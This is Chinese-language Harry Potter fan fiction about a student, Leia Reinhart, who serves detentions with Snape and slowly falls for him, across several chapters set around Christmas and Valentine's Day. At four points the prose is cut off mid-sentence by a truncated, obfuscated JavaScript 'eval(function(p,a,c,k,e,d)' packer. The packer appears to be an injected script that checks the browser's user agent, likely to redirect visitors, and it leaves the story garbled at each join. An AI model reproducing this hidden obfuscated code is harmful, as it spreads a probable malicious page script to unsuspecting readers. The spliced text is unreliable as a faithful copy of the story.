她突兀地想起来,斯内普每几个晚上就会出现在图书馆的禁区里,一本一本地浏览着那些厚重而用词生涩的藏书。明明都已经是教授了,他却还是在不断地、努力地汲取着知识——这简直与每日无所事事的自己形成了鲜明的对比。 蕾雅局促地站在那里,双手不安地按在自己的校裙后面,视线却仍然落在斯内普身上。下一刻,有一种前所未有的决心从她的心底涌现出来:“先生,我能不能……” “什么?”斯内普厌烦地答道。 “我能不能再来?”她小声地说道。 “什么意思,你是在申请关禁闭吗?” “是,先生。”蕾雅直直地看着他,“我想学好魔药学。” “哦,因为我随口说的话,你就想学好魔药学了吗?”斯内普将眉毛挑起形成尖锐的角度,冷笑一声。 蕾雅平复了一下内心的慌张,吸了一口气,尽量让自己的声音听起来坚定一些:“斯内普教授,也许我的话听起来很没有说服力。我也承认我之前从来没有考虑过任何有关于学习的事。但您今天的话让我觉得我真的不能再这样下去了。至少,我想考好O.W.L。” 斯内普也正在用一种审视的姿态看她,那双冰冷的黑眸深不可测,但他确实捕捉到了她眼里的认真。 然而,他依旧保持着一贯的阴冷语调,不以为然地嘲讽道:“看来你仍保留一些基本的自知之明,心里清楚这些话没有任何的说服力。那我想你自己也清楚,我的每一节课你都没有听进去吧?更别提你那些敷衍的、浪费我时间的作业。” 紧接着,他迅速补充道,“另外,这是我最后一次警告你。不要对我抱有任何不切实际的想法,这是一种极其愚蠢的行为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这些堆积的材料实在是太壮观。显然,它们的主人根本没有空整理它们,不知道从什么时候开始,它们就被塞进一个又一个箱子里,然后一路垒到天花板去。 算了……斯内普教授看起来不是一个会原谅别人半途而终的人。 而且,她求他这个事也确实不能说没有私心。 蕾雅深呼吸了一下,拿起魔杖戳了戳自己的太阳穴,在脑海里盘算着该怎么将它们整理好。 她揣测着斯内普的习惯,将所有的材料按照标签逐一归类排列好。她挑拣出那些看起来是残次品的材料,放回了地上垒在一起的框里,以小巧的字写上“可能不能用了”的标签。明明是十二月寒冬,她却在这个阴暗的地窖办公室里大汗淋漓。 不知道过了多久,蕾雅才完成整理。她轻轻地关上储藏室的门回到办公室里,就发现斯内普伏在办公桌上睡着了。 已经批改完的作业被垒成一叠放在一侧,羽毛笔斜斜地架在笔架上,他的前方放着几个空的魔药瓶子。他看起来睡得并不安稳,眉头紧皱,枯燥的额发无力地贴着他苍白的面庞,透露出疲惫之色。 蕾雅在储存室的这一侧看得出神,忽而注意到他的肩线在微微地颤抖着,也注意到了他只穿着一件外套。 是冷吗?她的目光不由自主地落在被随意搭在一旁的黑色魔法长袍上。 还是,就这样离开?要是有什么举动的话,他会更生气吧?蕾雅靠着储存室的小木门上,皱着眉毛想到。 她凝视了一会,忽而发现原来是他身后的窗户并没有关紧。已经是圣诞节的晚上了,窗外正应景地飘着夜雪,几片雪花被寒风吹着飘进办公室。 蕾雅慢慢地走过去,想要替他关上窗户。但等她走近以后才看见,一株茂盛的槲寄生正顽强地从窗户缝隙钻进室内,肆意地、隐秘地,长在窗户上方那些放着魔药瓶罐的架子后面,不仔细看的话根本难以察觉。她抬起头去观察那株植物,感觉它长在这里有些日子了,也许已经超过一周。 将窗户关上的话就会把这棵植物杀死,她并不乐意这么做。 那剩下的选项…… 蕾雅压着步子去掂起另一侧的黑色长袍,抱在手心里朝他走去。瞬间,布料上带着的那种魔药清苦与羊皮纸沉香味包围了她。 是斯内普身上的味道。也是几天前那个被相同气息笼罩的傍晚。 想到这里,她感觉自己的耳根正微微发热。她晃了晃脑袋,轻轻地将黑袍披在斯内普的身上。她站在他身边犹豫一阵,最终从自己长袍口袋里拿出一个木盒子放在他的桌上。 小心翼翼地做完了这些,蕾雅红着脸离开了斯内普的办公室。 ——“传说中,在槲寄生下亲吻的情侣,会厮守到永远”。 5. 圣诞节 等斯内普从书桌上醒过来的时候,窗外的天色已经全然暗了下来。 他对时间的快速流逝感觉到一阵不快,烦躁地起身,揉搓着因长时间压迫而麻木的手臂。随着他调整坐姿,他感到有什么东西慢慢地滑了下去,侧过脸看,是自己的长袍。 唔? 他有些疑惑地盯着地上的衣物一阵,想起来自己下午应该没有穿长袍。收回目光,又看见桌子的一角正躺着一个长方形的木盒子,这显然不是他的东西。斯内普伸出手拿了过来,又发现底下压着一张小小的纸片,他也一并捡了过来。 “材料已经井井有条啦。 圣诞节快乐,教授。这应该比安神剂好使。 Ps:您的窗户上冒出了一棵小植物。” 字迹小巧而圆润。 斯内普将卡片随手扔进他的抽屉里,又打开那个木盒子。一股幽幽的清香扑面而来,是一盒独立包装的花茶,他闻得出来,是洋甘菊和薰衣草。 什么时候,竟也需要学生来担心他了? 斯内普皱着眉毛将木盒子合上,搁在办公桌上,俯下身捡起地上的长袍,又抬头看了一眼自己办公室窗户上的植物。 竟然是槲寄生。斯内普仔细看了一会儿,那绿色映着窗外正在飘落的白雪,小小的叶片被透进来的寒风吹得微微颤动,却是那么的鲜活——就像,那双眼睛。 他沉思了一阵,决定让它留在这里。 斯内普背着手,眼睛越过窗柩盯着外面漫天的飞雪看了一阵,才意识到今天是圣诞节——学生们几乎都回家去了。 他又去检查了一遍被整理过的储存室,他的目光细致地扫描过整齐排列的材料箱子。这些箱子大小不一,上面精心整理的标签反射着柔和的灯光,他看见放在地面上贴着以同样圆润小巧的字迹写着的“可能不能用了”卡片的废弃框。 斯内普轻抿着嘴角关上储存室的门,心里虽然感到一丝莫名的满足,他却抑制住了这种情绪,而穿上自己的长袍,准备去礼堂随意找些什么来填填空虚的胃。 “叩叩——”木门就在他正要打开的时候响了起来。 “西弗勒斯。”是邓布利多的声音。 斯内普顿了顿,旋即将木门拉开了一条缝。 “圣诞快乐。”邓布利多挤了进来,斯内普捕捉到了他脸上的一些疲惫。 “圣诞快乐,西弗勒斯。”紧跟在邓布利多身后的,是神色忧虑的麦格教授,跟斯内普点了点头。 “这是在……?”斯内普错愕地皱起了眉头,话还没问完就被邓布利多举起的一只手打断了。 “别赶我们出去,西弗勒斯,你知道现在霍格沃茨除了校长室也就你这里最安全了。”老巫师平静地说着,那半月型的眼镜泛出光来。 斯内普再次抿紧了嘴唇,那双黑眸跟随着面前移动到他房间里的两个人,他当然知道邓布利多肯定不是为了过圣诞节才上门来的。 于是他默默地抽出魔杖,先对自己的办公室门使了一个锁咒,加了两重闭耳塞听后又朝室内变出了两把椅子和一张小桌子。 “噢,谢谢。你真贴心。”邓布利多笑了笑。 而麦格教授则拿出她的魔杖,指了指地窖办公室里的壁炉,瞬间从里面飞出来各种各样的食物,晃晃悠悠地停在斯内普刚刚变出来的桌子上。 “所以呢,我们大难不死的男孩怎么了。”斯内普淡淡的说着,走到自己的办公桌前坐下。 “先吃饭,西弗勒斯。”邓布利多温和地朝他眨了眨眼,已经径自在他的办公室里切起了小牛排,又突然好像想到什么一样,问道:“你是要在办公桌上吃,还是跟我们一起?” 斯内普抬起头去看着邓布利多那件淡紫色的星月袍一阵,移开了些目光便发现麦格教授正向他投来一些期待的眼神。斯内普只得撇了撇嘴,又在他们身边变出一把椅子。 他走过去慢慢坐下,从麦格教授那里接过了盘子。 等这顿简单的圣诞节晚餐吃得差不多了,邓布利多才慢悠悠地放下手上的酒杯。 斯内普也将他的酒杯咚地一声按在桌上,压着嘴左右打量着面前的两位同事,等待着他们其中一人开口。 “昨天半夜,哈利做梦了。”麦格教授读懂了他的暗示,开口说道,“他梦到了自己变成了一条蛇,攻击了亚瑟。” “你不会故意在圣诞节的晚餐后告诉我,现在亚瑟·韦斯莱已经逝世了吧?”斯内普挑起一根眉毛,嘲讽着说道。 “噢,亚瑟虽然伤得很重,但没有生命危险,已经在圣芒戈治疗完了。”邓布利多说,他又捋了捋自己那把白胡子,目光落在对侧的壁炉里面,又像是落在了更远的地方,“是时候了,西弗勒斯。就像我们之前说的那样。” 斯内普的身影愣了一下,很快回过神来,没什么感情地说着,“我知道了。” “而且,我希望你去通知哈利这件事。”邓布利多看着黑发巫师那张苍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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邓布利多轻哼了一声,散步一样走到地窖办公室的门口,回头意味深长地看了斯内普一眼,慈祥地笑道,“尝试点新东西总是好的,西弗勒斯。” 那慈祥的笑容倒是让黑发巫师背脊有些发凉。 “出去。”斯内普冷冷地打发道。 “圣诞快乐,西弗勒斯。”邓布利多笑呵呵地摆了摆手。 “晚安,西弗勒斯。”麦格教授微笑着替他带上了门。 等邓布利多和麦格教授的离开了,这个办公室再次沉寂下来。斯内普静静地站在窗前,眼睛注视着外面下着的大雪,心里越发地烦躁了起来。 他转身拉开抽屉,手习惯性地伸向那些安神剂,但在半空中突然顿住。迟疑了一阵,他突然改变了主意,转而取出了那个匆忙隐藏的木盒子。 将热水缓缓注入茶杯里,花香随着热气蒸腾而起,他坐在那里,静静地看着茶水在杯中逐渐染上了淡淡的金色。 6. 瞌睡豆 除夕跨年的时候,蕾雅坐在卧室的露台上,看着天空上炸开的大朵绚烂的烟花。她怔怔地望着那些红的、绿的、粉的亮光,看它们大片大片地开在一望无际的天空上,余辉坠落,划过长长的弧线,久久地留在她的瞳仁里。 是那样的夺目,璀璨。奋不顾身。 她认真地盯着那些余烬,双手合十朝向天空,喃喃道:“希望自己能找到一件为之毕生奋斗的事。” ——就像她的父亲一样,热爱着黑魔法防御术,并为此成为了一名魔法部神秘司的职员。 其实早在圣诞节晚餐之后,她就单独跟父亲商量着希望他能为她补课。她的父亲雷格纳·莱恩哈特在一阵惊愕中又露出有些欣慰的神情,再后来猛猛地点过了头,表示自己一定会全力支持她的。 于是这一整个冬假都显得无比漫长而又忙碌,她一边跟着她的父亲在家里重修着各种基础的魔咒,又一边苦读着那本斯内普扔给她的中级魔药学,虽然大部分的时间都用在解读斯内普留在上面的潦草笔记上了。 等到春季学期开始的时候,蕾雅感觉自己确实跟去年不一样了些。而放了假回来以后,整个霍格沃茨都像起飞了一样。越来越多的作业、训练、习题,越来越紧张的气氛,乌姆里奇成为了霍格沃茨高级调查官,每天趾高气扬地巡逻在每一门课上,像一只鼓足了气的滑稽公鸡。 能在宿舍里看见赫敏的时间也越来越少,圣诞以后赫敏脸上的忧虑更重了,心里像是埋着什么巨大的秘密一样。蕾雅知道是跟哈利有关——也跟,那个神秘人有关。她知道大部分的人都选择不相信这个消息,但她的父亲不仅相信,而且谨慎地告诫了她,如果有什么不对劲的事情发生,就立刻回家。 蕾雅坐在格兰芬多公共休息室避人耳目的二楼沙发上翻着《预言家日报》打发时间,最近持续报道的十个食死徒在逃的新闻绝对是印证了她父亲的猜测。 最近在图书馆里也很少见到斯内普了,虽然她还是会在别的地方见到他。因为这个学期两周刚过,蕾雅就已经按照之前跟他约定的一样去他办公室报道过了好几次,有魔药课的日子几乎不落。她一边坐着一些琐碎的活,一边回答他不时抛出来的魔药问题。 想了想,除了神奇动物课外,魔药课显然是最需要助手的课程。整理和分发材料、清洁坩埚,以及无数琐碎的准备工作,对于单独承担至少六个年级教学的斯内普来说,零零碎碎的活多得根本做不完,更别提这位魔药大师还负责提供医疗翼的基础药水。 也许邓布利多真的该给斯内普教授聘一个助教,蕾雅想到。 此时,蕾雅抬眼看了看钟,指针正正指向十,正是差十分到七点。她将那份预言家日报放下,起身整理了一下衣服,便拐下了楼梯。刚一走到楼梯平台上,就碰见了从寝室楼梯慢慢走下来的赫敏,正抱着一堆书,她乱糟糟的头发没什么精神地垂在两边。 “今天不用训练?”蕾雅抬起头看她,朝她笑了笑。她不知道赫敏今天原来呆在宿舍里,因为晚饭后她就没回去过。 “今天哈利有事要忙。”赫敏叹了一口气,“我也该好好看看这些O.W.L资料,真的没几天了。” “我相信你早就准备好了,赫敏小姐。”蕾雅向她眨了眨眼睛,打趣地说道。 “得了吧,你再这样我就不借你笔记了。”赫敏腾出一只手来轻轻推了推她。 “别啊!求你!” “你呢,今天又要去?”赫敏说,“要不今天跟我和罗恩一起学?” “嗯……。”蕾雅皱了皱鼻子,连忙跟她摆了摆手,低声说,“今天不是去图书馆。” 赫敏挑了挑眉,好奇地凑近些,“神神秘秘,我们的蕾雅小姐该不会是恋爱了吧?是哪个学院的小男生?” “什么?蕾雅小姐恋爱了?”坐在壁炉茶几前的韦斯莱双子从一堆研发中商品里猛地抬头,惊呼一声,发出笑声来。 “什么?蕾雅恋爱了?”刚从男寝室楼梯走着下来的罗恩,嘴张得比霍格沃茨饭堂的鸡腿还大,“哪个家伙?你爸爸不会宰了他?” “哎你们别胡说!”蕾雅被他们说得脸都红了,连忙做了个噤声的手势,环视了一圈公共休息室。 幸好,这里没有更多的人,她舒了一口气,赶紧挥了挥手,“不跟你们说了!我要迟到了!” 她逃也似的钻出了格兰芬多休息室。 罗恩在她后面吹了一下口哨,又看向赫敏,说道:“看来不止哈利恋爱了。” “别急,等她晚上回来好好问她。”赫敏牵起了看戏的笑容,走向一侧的公共书桌。 刚拐出塔楼走廊,蕾雅就加快了脚步。格兰芬多塔楼和魔药学教室其实隔得很远,这也是她为什么更喜欢呆在紧挨魔药学教室的图书馆。 由于在休息室寒暄而耽误的时间,使她不得不快步走在霍格沃茨的长廊里。而一想到斯内普那厌恶迟到的样子,她就越走越快,几乎是小跑着穿过仍带着积雪的庭院、吊桥和长廊,一路拐下楼梯,跑得气喘吁吁。 等到了图书馆附属楼大厅的时候,蕾雅匆匆一瞥壁钟,惊讶地发现自己竟然提前了两分钟。她在走廊里停下脚步,深深吸了几口空气,试图平复奔跑后的喘息。还没等她完全恢复平静,就看到哈利从魔药学教室方向慌张地跑了出来。 “哈利?”她疑惑地唤他。 哈利的脸色苍白,大汗淋漓,眼中带着明显的恐慌,仿佛刚刚经历了什么不可思议的事情,又像是被什么恐怖的巨兽追逐过一样。蕾雅看见他的一只手正按在他的伤疤上面,似乎仍在思考着什么东西,甚至都没听见她在唤他。 “哈利?你没事吧?”蕾雅快步走上去,伸出手来按住他的肩膀。 哈利哆嗦着,似乎才回过神来,茫然地看着她,“……哦,蕾雅。你怎么在这里?……” “你没事吧?你怎么在这里?”看出他的不对劲,她将双手搭在他的肩膀上,关切地问道。 “我找斯内普教授补课……”他几乎是喃喃着说道。 “补课?补成这样?”蕾雅的疑虑更重了,总不能补的是斯内普变了一头巨怪追着他跑吧。 他抬起手来,皱着眉头,捏了捏她搭在他肩上的手,“你别跟别人说……” 蕾雅愣了一下,连忙从自己的长袍里拿出爸爸给她买的手帕,递给了哈利,“那也许你该把汗擦一下,哈利。深呼吸。” 哈利扯着一抹虚弱的笑容接了过去,朝她道了谢,又顺着她的话吸了一口气。 蕾雅看他平复了一些,也松了一口气,微笑着拍了拍他的肩膀,说道:“我得走了。” 刚迈开步子去,突然又回过头来,“哦对了,那你也别说在这里看见了我,好吗?我也是来补课的。” 此时轮到她身后的哈利怔住了,但是蕾雅没等他反应过来就拉开了魔药学教室的门钻了进去。 当蕾雅轻轻敲响斯内普的办公室门时,她意外地发现她的魔药学教授并未像往常那样坐在办公桌后,而是僵硬地背靠着桌子站着。她的目光不由自主地被一个巨大的金属圆盆吸引,它被放在教授的身后,好像装着一些液体。 斯内普注意到蕾雅的好奇视线,用手肘将圆盆往更里面推了推。 蕾雅觉得斯内普的脸色有些疲惫,不禁想到了刚才那个气喘吁吁的哈利。 “你在看什么?”斯内普用冷冰冰的声音质问起来。 “没在看什么,先生。”她立马抽回目光,诚恳地答道。 盯着她那似乎有什么思虑的脸,斯内普扬起一根眉毛,谨慎地再问:“你刚刚是不是遇见谁了?” 斯内普思考着自己是不是不该再让她在周三过来。可是周四是最繁重的四年级魔药课,如果这学期他还想拥有一点时间睡眠的话,他确实需要一个帮手,最好是能像她一样快速而细致处理材料的。 “没有遇见谁。可能是因为我跑着来的,有点喘不过气。”她拿出一副诚实的模样,对上他的黑眸。 她确实也没有撒谎,是跑着来的。 “以后七点十五分来。”斯内普淡淡地说道。 “好的,先生。”蕾雅应着。 斯内普微微颔首,才侧过身拿起身边一本大大的簿子,漠然地开口:“跟上。” “好的。”她乖巧地应着。 她跟着他出了办公室,从魔药学教室的一侧拐下了楼梯,一路走到地下一层的一扇窄窄的小木门前。斯内普打开了门,她看见满满一室的玻璃药瓶,泡着红红绿绿的药材,在这昏暗的地下走廊里泛着幽幽的光。 而地板上,正垒着的似乎是今天新到的一批魔药材料,层层叠叠的木箱占满了大半个本就狭窄的空间。 “去工作台上,将这箱瞌睡豆切开,汁液装进大玻璃瓶里,密封后再放回架子上。”斯内普指了指地上的一整箱还带着些许蠕动的原材料,面无表情地说道。 “好。” 蕾雅系上工作围裙,轻轻挥动手里的魔杖,将那箱瞌睡豆指挥着移到里侧的工作台上,然后从箱子里拿起一颗瞌睡豆,按在案板上面。 瞌睡豆,闻名于它们在被接触时产生的剧烈跳动,这导致了处理他们的时候需要极大的耐心和技巧。很显然,对于第一次处理过这个材料的蕾雅来说,这项工作可能还是过于早了。尽管她正按照教科书指示的那样操作,瞌睡豆却仍在她轻按之下逃脱,跳到了地板上。 蕾雅立马停顿住了,害怕地朝身后看去,已经熟练地准备做起心理准备接受身后人的讽刺。但是这并没有发生,斯内普抱着那本大大的簿子凝神清点着地上的材料。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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那双此时看着她的黑眸,就像是北极冻住的冰一般冷。 “对、对不起。我马上站好。”她连忙说道。 但当她想赶紧绷直左脚稳住自己的身体的时候,剧烈的疼痛就从腿上传来。蕾雅低下头去看,膝盖下方有一道很深的伤口,鲜血正沿着她的腿慢慢地淌下。 斯内普也顺着她的视线迅速扫了一眼她的膝盖,看见了那道血淋淋的伤口。他的表情瞬间软化了些,扶着她腰间的那只手也稍稍用了力,让她重新站稳。他挥了挥手中的魔杖,凭空在她身后变出了一张凳子。 “坐下。”他命令道。 蕾雅迅速地点着头,用手支撑着自己的身体挪到凳子上。 斯内普拧着眉毛俯下身来,抬手先是一个止血的咒语,又从里侧的抽屉里拿出白鲜药水,细细地浇在她的伤口上,低声念起了治愈咒语。蕾雅边看着那微曲的黑发和温暖的魔法光芒,尽量不让自己因为药水带来的刺激而发出声音来。 虽然脸上没有任何的好表情,话也那样的尖酸刻薄,但他的动作确实那样的轻柔——温暖。 她没法移开目光。她的心,跳得好快,好吵。 “谢谢您。”她小声地对面前的教授说道。 斯内普很快便重新站了起来,并没有再回应她什么,只是用魔杖指挥着将她连人带凳子转了一圈,让她重新面对着案板,而后又将那张凳子适当地调高了一点。蕾雅伸出左手去再次拿起了一颗瞌睡豆,右手也摸上刀子。 还没举起右手,一股魔药的清苦味道笼罩住了她。 侧过脸,看见那个黑色的身影正站在自己的身后,他伸出右手,轻轻按在她握刀的右手腕上,稍稍一转,蕾雅手上的刀刃也随着他的动作转了九十度。 “听着,瞌睡豆的处理方法,是要用刀的侧面挤压而不是切片,这样更容易出汁。”低沉而冷硬的声音从她的右上方传来,仍按着她的手腕,移到了瞌睡豆上面,“试试。” 她顺着他的牵引和力度,朝瞌睡豆缓缓地挤压下去——它再也没有任何的挣扎,安静地结束了它的一生。 “啊!”她惊讶地叹出一声,“原来如此。” 等蕾雅终于换上睡袍钻进自己的被窝,彼时已经过了午夜。 冬季清冷的月安静地透进寝室里,拉文德正微微地打着呼噜,赫敏仍举着她的荧光魔杖在床幔里看着书。 蕾雅平躺在床上,只将床幔放下了一半,任窗边微凉的月光洒在自己枕头侧。凝视那薄凉的弯月,蕾雅发现自己毫无睡意。她抬手摸了摸腰侧,感觉那按在她腰上的力度久久消散不去,手腕上也仿佛残留着那一点不属于自己的温度。 虽然暗中关注了他很久,但她一开始只是在好奇是什么让这位魔药学教授如此古怪。 他的魔药课总是压抑得很,到底是什么导致他跟别的教授完全不一样?又是什么让他如此冷漠而疏离? 但是那一天在他的办公室,以及今天的事让她意识到,那冷硬外壳下隐藏着一些柔软。毋庸置疑。 ——斯内普明明关心他人,却选择了始终以冷漠面对世界。 她叹了一口气翻身,任思绪和着身后的月光侵染着自己。 7. 情人节 情人节的这一天,也是去霍格莫德的日子。 二月份的苏格兰北还是冷得出奇,特别是配合着这反复无常的天气,让人难受至极。 今天也是这样,整个霍格莫德都被笼罩在一层灰蒙蒙的雾气里,连那些本该散发出浪漫气息的装饰也像是被镀上一层灰色,映着路边化了一半的积雪,显得脏兮兮的。 蕾雅和赫敏小心地避开那些因为积雪融化而形成的小水坑,踩在稍微没有那么湿滑的鹅卵石上。 霍格莫德虽然不大,但每到情人节就装点着一个个小巧又别致的心形花环,平时陈旧的窗户此时也贴着心形的装饰,只是今天的阴沉实在使一切都有些暗淡。 不过倒也很难影响这些手牵着手的情侣就是了。蕾雅看向面前不远处颤颤悠悠走在一起的哈利和张秋,两个人在人潮里保持着一段既不太亲密,又不算很疏远的距离。 “他们真的在一起了?”蕾雅压着声音问身边的赫敏。 “可不是,虽然我觉得哈利好像不太喜欢她……”赫敏说。 “也许她也不太喜欢哈利。”蕾雅随口说道。 赫敏听着笑了一下,挽起了好友的手臂,打趣着问了起来:“那你呢?你今天怎么没有约会?” 蕾雅拍了拍她的手,小小地瞪了她一眼:“我哪里有什么对象?就连迷情魔药都对我没效果诶。” “也是。”赫敏想起来两周前的小事故,调侃着,“也很难想象就两个星期你能有什么长进。” “喂。” 两个女孩子一边说着八卦一边习惯性地拐进了霍格莫德村的第一家商店。这是一家卖魔法卷轴和古书的店,每次跟赫敏来霍格莫德都要先来这里看看。 进了店,赫敏就朝那堆新书架子走了过去。蕾雅其实一直都只是陪着她来,并没有怎么认真逛过店。 她环视着这家不大却精准利用着每一个小角落空间的店,最后目光停在了魔药书籍的那一排。 几乎是无意识地,她朝那个角落走了过去,一本本扫了过去,最后目光落在了一本旧书上。这是一本褪了色的书,但有两道仍然耀眼的金丝嵌在书脊上,闪着淡淡的光芒,似乎是在邀请她。她抽出了书,同样金色的字迹写着《古代巫师的草药与药剂》。 她轻轻翻开书页,一股陈旧的羊皮纸气息扑面而来,指尖在书页上轻轻滑过,里面的文字都用微微泛黄的墨水书写,夹杂着一些晦涩难懂的单词。书中的草药插图绘制得细腻精美,每一种草药旁都详尽地注明了它们的历史来源、药用性质和采集方法,甚至还有几种复杂的魔药配方。 这本书似乎并不是普通的入门教材,而是更偏向于那些对魔药学有深入研究的学者或实践者。她看了一阵,发现里面还包括了很多在魔药课上不曾见过的药材。 蕾雅没有多犹豫就决定买下了这本书,还选了一本银白色封面的笔记本一起买下。 ”怎么?突然对魔药学感兴趣?”结账的时候,赫敏抱着两三本新书,凑了过来。 蕾雅被她突如其来的话小小地吓了一跳,连忙说道,“感觉写得挺好的,随便看看。” “噢?”赫敏付着钱,应了一声。 刚走出书店,阴沉的天空似乎终于承受不住乌云的挤压,飘下来淅淅沥沥的冻雨。 两个少女挤在一把由魔杖撑起来的透明伞下,雨帘沿着看不见的弧度掉了下去。 “等下去哪?”蕾雅举着她的魔杖,侧头问身边正靠着自己的好友。 赫敏紧紧地靠着她,呼出的热气在寒冷的空气里凝成雾气,“随便,我中午要去三把扫帚酒馆。” “那跟你分开以后我就去看看有没有拉文德上次买的那个药。”蕾雅答着,又举起手来拢了拢自己的围巾,“真冷,有点后悔出来了。” “是呢,没什么事我想呆在寝室看书来着。”赫敏应着,有些心事重重的样子。 蕾雅看了她一阵,小声问道,“忙的事跟哈利有关?” “嗯。” 蕾雅点了点头,知道再追问下去她也不会说什么了。 两个人就这么走了一阵,蕾雅听着雨声,望见不远处那家烘焙咖啡店在雨天里冒出来的白烟,突然提议道,“要不先去喝杯咖啡?” “也好。” 等蕾雅跟赫敏在咖啡店分别了以后,雨下得更大了,淌下来的水跟那些被冲开的积雪一起汇成一条小溪,沿着霍格莫德平时就泥泞不堪的小道淌了下去。 蕾雅站在咖啡店的橱窗前,看了一会儿大雨泛起的白雾。 她本来就讨厌下雨,在这种阴冷的天气里她仿佛连呼吸也变得不好了。 还是早点回去吧,她叹着气想到。 刚迈出步子,眼角却瞥见了河对岸一栋古怪的建筑。它的尖顶倾斜得几乎要碰到旁边的一棵老树,整座建筑被各种奇异的魔法植物覆盖,犹如生长在一片神秘森林中的小屋。 啊,是魔药植物店,虽然她来到霍格沃茨五年也从来没进去过就是了。 突如其来的好奇心从心头涌上,她便决定朝那边走去。 推开有些破旧的木门,一阵温暖而干燥的空气迎面扑来,夹杂着各种奇异药草的香气。店里没有顾客,倒是从天花板上垂下来许多干燥的草药和奇形怪状的真菌,而墙壁上密密麻麻的架子上摆满了各种瓶瓶罐罐,靠近柜台的一侧还种着好些魔法植物。 “欢迎光临,需要帮助吗?”一个沙哑的声音打破了店内的静谧,来自正在一旁以魔杖指挥着给咬人甘蓝浇水的老巫师,他的眼镜厚重且略显模糊。 蕾雅微笑着摆手:“您好先生,我只是随便看看。” “那请自便。” 她开始漫不经心地浏览店内的物品,发现这里不仅有魔法植物,也售卖一些普通的干花和种子。 蕾雅在一个不起眼的柜子上挑选了一小束绣球花,它们已经褪了色,但仍保持了盛开着模样。 正当她付款的时候,破旧的木门又被吱呀一声推开了。 “啊,斯内普教授。”面前正给她找零的老巫师露出一个好客的笑容,“您的东西我已经给您准备好了。” 蕾雅倏地回头一望,看见的是正朝这里走来的魔药学教授。他的黑袍似乎是被雨打湿了些,没有像平时那样在他身后翻滚着。 “教授,没想到会在这里遇到您。”她抱着那束绣球花,侧过身来看向他,朝他露出一个微笑。而后才慢慢拿起刚刚付款时随手搁在柜台上的书。 斯内普 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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也像,跨年的那一晚她对着许愿的那些烟花的余烬。 晚餐的时候,蕾雅安静的坐在礼堂上喝着玉米忌廉汤,听着赫敏和哈利讲在霍格莫德发生的事。 她有一搭没一搭地听着,目光却落在教师席的魔药学教授上。 他好像在想着些什么,双眼空洞而僵硬地挑着盘里食物,直到他身边的邓布利多带着慈祥的笑容跟他搭话,他又一如既往地露出刻薄的神情。 有么一瞬,她觉得他好像那些正在消融的雪花。 “蕾雅!” “蕾雅?” 感觉有什么人在拍着自己的手臂,黑发少女才抽回了视线,是身边的赫敏。 “啊怎么了?”蕾雅看向赫敏。 “能给我你那边的黄油吗?”对面的金妮问道,微笑着伸出手来指了指蕾雅手边的小盘子。 蕾雅朝她递了过去。 “看什么呢,看得这么出神。”赫敏则是一脸好奇地看着她,也顺着她刚才的视线望过去。 “没在看什么,发呆而已。”她说。 8. 和弦 傍晚,斯内普从没什么人的图书馆出来的时候便听见了一阵钢琴的声音。 此刻的大厅里一个人也没有,只有那琴声一阵阵传来,回荡在空无一人的走廊上。 旋律清冷而婉转,仿佛静谧无人的禁林里迷了路的星光,又像岩石间不得不蜿蜒而下的泉水。 带着一些似在挣扎的哀伤,却又像紧握着一丝温暖的希望与深情。 斯内普站在图书馆的门前低着头听了一阵,才回过神来般皱着眉,迎着那些音符飘来的方向踱去。 是走廊尽头的空教室,他知道那里面确实放了一架古老的钢琴,但是他确实也很少会听见有谁来这里奏响过它。 走近了些,从门缝的光影里,他瞥见了一个坐在琴凳上的瘦小身影,一头黑色的长发平滑地披散在身后,衬着她深红色的格兰芬多毛呢背心。 他几乎是没有多犹豫就推开门,开口说道,“莱恩哈特小姐,这可真是好兴致。” 轻轻被按下的最后一个和弦碎在了空气里,蕾雅侧过头来,有些吃惊地看向门边人。她的脸上浮上一些像是做了坏事一样的忐忑,小声地说道,“啊,晚上好,斯内普教授。” 斯内普漠然地看了她一瞬,移开目光,又扫视到那架掉了些漆的木钢琴上平铺着的乐谱——《Until the Last Moment》,直到最后一刻。 很快抽回目光,斯内普下意识地压下自己的嘴角,冷冰冰地说道,“如果你不想引来什么麻烦的人物,我建议你还是收起你的兴致。再说,我不认为你还有时间——”他故意稍作停顿,那双黑眸有些讥讽似的看着她,“沉浸在你的兴致里。” “……好、好的。”她垂下了头,连忙伸出手去将那些乐谱拢了起来,“谢谢您的提醒。” 斯内普轻哼一声,转过身去,“七点十五,别忘了。” “一定不会的,先生。”她盯着他那扬起的黑袍,稍稍提高了音量回答着。 斯内普很快就消失在走廊里了,蕾雅也收起那些东西,站起身来慢慢地将琴盖轻轻合上,决定接下来去图书馆学习一阵。 正当她在沉寂的图书馆里写到第三份作业时,外面的大厅里传来了一声剧烈的尖叫声。 “怎么了这是,是不知道图书馆附近要保持安静吗!”平斯夫人的声音是最先响起来的,蕾雅看着她气鼓鼓地提起自己的裙摆,快跑上了图书馆连接大厅的楼梯。 吵杂的声音越来越多,图书馆里也不再安静了,为数不多的几个学生争先恐后地跑了出去凑热闹。 蕾雅叹了一口气,这环境确实也不是学习的氛围。她放下手中的羽毛笔,起身也跟着走去。 “你——你不能!你不能解雇我!” 平日里空无一人的大厅此时少有地挤满了人,显然是在附近礼堂吃晚饭的学生们。他们都围成了一圈,而处在中间的正是占卜学的担任,特里劳妮教授。 她手里紧紧握着一个空酒瓶,痛苦地捂着自己的脑袋尖叫着重复同样的一句话。 “你不能!你不能解雇我!霍格沃茨——是我的家!你不能!” 